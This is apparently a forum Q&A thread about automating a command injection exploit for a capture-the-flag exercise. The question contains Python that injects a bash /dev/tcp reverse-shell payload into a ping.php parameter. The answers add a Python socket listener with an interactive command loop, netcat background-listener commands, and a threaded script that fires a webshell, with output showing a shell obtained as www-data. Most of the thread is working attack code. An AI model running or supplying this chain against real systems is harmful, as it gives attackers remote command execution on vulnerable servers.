3

I'm coding an exploit in python that exploits a command injection vulnerability for a CTF and I'm wondering how could I start a netcat listener and then send the payload to the remote host and once the connection is stablished the script execution finishes and drops me to the stablished connection.

This is my code:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)

What I want to do is something like this:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)

#Code to drop me to the nc stablished connection

I'm not sure if such a thing is even possible. Any idea?

4

Typically, you would just start the listener separately: Open a new terminal and run your nc -l -p 9999. Leave that there waiting, then fire off your exploit causing the remote machine to start a reverse shell.

There are loads of things that can go wrong in this process, generally just binding a shell is much easier than getting a reverse shell to work when you're blind.


You need to open a listening socket, and then interact with it once it has received a connection.

So, first open your listening socket (this replaces netcat)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)

You can use a simple interact function that takes a socket:

def interact(sock):
     command=''
     while(command != 'exit'):
         command=raw_input('$ ')
         sock.send(command + '\n')
         time.sleep(.5)
         print sock.recv(0x10000)
     return

Then you can use them together with something like:

interact(s.accept())

This might require some tweaking, but that is the basic layout.

11
  • Hi lynks, I know actually creating the listener manually is what I'm doing but is exactly what I dont want to. The reverse shell works fine and what I want to Get is that my script drops me un the shell created without switching terminals. Regards
    – Nucklear
    Sep 18 '13 at 15:41
  • @Nucklear I have added to my answer to address how to do this in python alone.
    – lynks
    Sep 18 '13 at 15:51
  • Thanks for the reply, I already tried with sockets but when I create the listener the script stops waiting for the inbound connection and never executes the request that creates the connection. Do you know how could I solve this?
    – Nucklear
    Sep 18 '13 at 16:52
  • @Nucklear It should only block when you reach the s.accept() call. None of the calls above should block. The order needs to be 1)Bind_&_Listen 2)Send_Exploit 3)Accept_Connection
    – lynks
    Sep 18 '13 at 16:54
  • Yes that's whet I'm doing but does not stablish the connection. For my understand the payload stablish a raw tcp connection that should be captured by the listener in my script but during the time between I send the payload and accept the connection could it be lost?
    – Nucklear
    Sep 18 '13 at 17:29
0

In your Kali machine you could push the netcat listener into the background by issuing:

nc -lvp [port] & (Don't use the brackets in your command)

You cursor may be on a new blank line, but no worries, just hit enter and it will bring you back to where you can issue another command. Feel free to look at the job in the background by using:

jobs

You will see any jobs listed out with a number, status, followed by the job. You can kill any jobs by issuing:

kill %1

The 1 being the job you wish to kill. Anyway, the nc listener will be in the background and you can execute your python exploit script which if successful, should bring up your shell/connection.

0

Actually, I was looking for the same to create ncat listener and execute reverse shell by visiting the page in the same python script.

I came up with the following solution.

from threading import Timer
import os

def interactive_shell(port):
    print "(+) listening to reverse shell"
    # wait for 1 sec before visiting webshell
    t = Timer(1, activate_webshell)
    # start thread activity
    t.start()
    ncat = 'ncat -lnvp %s' % port
    os.system(ncat)

def activate_webshell():
    target ="http://%s/rev_shell.php" % sys.argv[1]
    session.get(target)

output:

(+) listening to the shell
Ncat: Version 7.80SVN ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:40871.
bash: cannot set terminal process group (621): Inappropriate ioctl for device
bash: no job control in this shell
www-data@atutor:/var/www/html/webapp/mods$ whoami
whoami
www-data
www-data@atutor:/var/www/html/webapp/mods$ 

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.